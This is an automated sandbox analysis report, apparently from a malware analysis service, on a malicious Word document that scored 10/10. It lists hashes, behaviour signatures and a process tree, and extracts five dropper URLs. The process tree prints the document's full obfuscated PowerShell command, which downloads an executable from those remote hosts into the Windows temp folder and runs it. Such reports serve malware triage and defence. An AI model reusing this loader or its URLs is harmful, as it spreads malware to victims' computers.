Analysis

  • max time kernel
    109s
  • max time network
    88s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    25-06-2022 10:10

General

  • Target

    f66925570a0a62bd3a90719237058656eadf0c0f891e24799854a7d93e63da1d.doc

  • Size

    265KB

  • MD5

    f2a6dfb27d22a0572980c21aa3f0aa72

  • SHA1

    793068de3ede317810a04033897061cfb0cd9523

  • SHA256

    f66925570a0a62bd3a90719237058656eadf0c0f891e24799854a7d93e63da1d

  • SHA512

    671c7cea847396a3ebe8dec53aa1286971857dfa3735a6509015c0b4e606e7f1c6bbade9b0833276790da5244f2cf42be76c1601ced95d1e301e70b6603e0952

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://rift.mx/1q6yfowWdTLO_y6PDvDqM1

exe.dropper

http://ylgcelik.site/images/assets/gqozUJEiIYeC_dnZTDQX

exe.dropper

http://aviontravelgroup.com/MyxIIPxzR57RBIQ_BMNwuCa3q

exe.dropper

http://ecohoney.com.ua/QIBhgUzx_M2znhUL

exe.dropper

http://wa-producoes.com.br/4m5Lb0xKdUs9N49_eln5oEXK

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f66925570a0a62bd3a90719237058656eadf0c0f891e24799854a7d93e63da1d.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:876
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell $q1F5S = '$A9Kjx2 = new-obj48264.519652667ect -com48264.519652667obj48264.519652667ect wsc48264.519652667ript.she48264.519652667ll;$NSbBRaG = new-object sys48264.519652667tem.net.web48264.519652667client;$agFxes = new-object random;$OeVIS = \"48264.519652667h48264.519652667t48264.519652667t48264.519652667p48264.519652667://rift.mx/1q6yfowWdTLO_y6PDvDqM1,48264.519652667h48264.519652667t48264.519652667t48264.519652667p48264.519652667://ylgcelik.site/images/assets/gqozUJEiIYeC_dnZTDQX,48264.519652667h48264.519652667t48264.519652667t48264.519652667p48264.519652667://aviontravelgroup.com/MyxIIPxzR57RBIQ_BMNwuCa3q,48264.519652667h48264.519652667t48264.519652667t48264.519652667p48264.519652667://ecohoney.com.ua/QIBhgUzx_M2znhUL,48264.519652667h48264.519652667t48264.519652667t48264.519652667p48264.519652667://wa-producoes.com.br/4m5Lb0xKdUs9N49_eln5oEXK\".spl48264.519652667it(\",\");$GO0Hlgik3 = $agFxes.nex48264.519652667t(1, 65536);$Z5Xf8 = \"c:\win48264.519652667dows\temp\put48264.519652667ty.exe\";for48264.519652667each($aoIptKW in $OeVIS){try{$NSbBRaG.dow48264.519652667nlo48264.519652667adf48264.519652667ile($aoIptKW.ToS48264.519652667tring(), $Z5Xf8);sta48264.519652667rt-pro48264.519652667cess $Z5Xf8;break;}catch{}}'.replace('48264.519652667', $dmFbI5);$E8hLpzE = '';iex($q1F5S);
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1148
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1528

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/876-62-0x0000000000804000-0x0000000000808000-memory.dmp

      Filesize

      16KB

    • memory/876-73-0x00000000718CD000-0x00000000718D8000-memory.dmp

      Filesize

      44KB

    • memory/876-54-0x0000000072E61000-0x0000000072E64000-memory.dmp

      Filesize

      12KB

    • memory/876-57-0x0000000075E31000-0x0000000075E33000-memory.dmp

      Filesize

      8KB

    • memory/876-58-0x00000000718CD000-0x00000000718D8000-memory.dmp

      Filesize

      44KB

    • memory/876-59-0x0000000000804000-0x0000000000808000-memory.dmp

      Filesize

      16KB

    • memory/876-60-0x0000000000804000-0x0000000000808000-memory.dmp

      Filesize

      16KB

    • memory/876-61-0x0000000000804000-0x0000000000808000-memory.dmp

      Filesize

      16KB

    • memory/876-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/876-55-0x00000000708E1000-0x00000000708E3000-memory.dmp

      Filesize

      8KB

    • memory/876-72-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/876-67-0x00000000718CD000-0x00000000718D8000-memory.dmp

      Filesize

      44KB

    • memory/1148-65-0x000000006B100000-0x000000006B6AB000-memory.dmp

      Filesize

      5.7MB

    • memory/1148-68-0x000000006B100000-0x000000006B6AB000-memory.dmp

      Filesize

      5.7MB

    • memory/1148-71-0x000000006B100000-0x000000006B6AB000-memory.dmp

      Filesize

      5.7MB

    • memory/1148-66-0x0000000004B20000-0x0000000005171000-memory.dmp

      Filesize

      6.3MB

    • memory/1528-70-0x000007FEFC511000-0x000007FEFC513000-memory.dmp

      Filesize

      8KB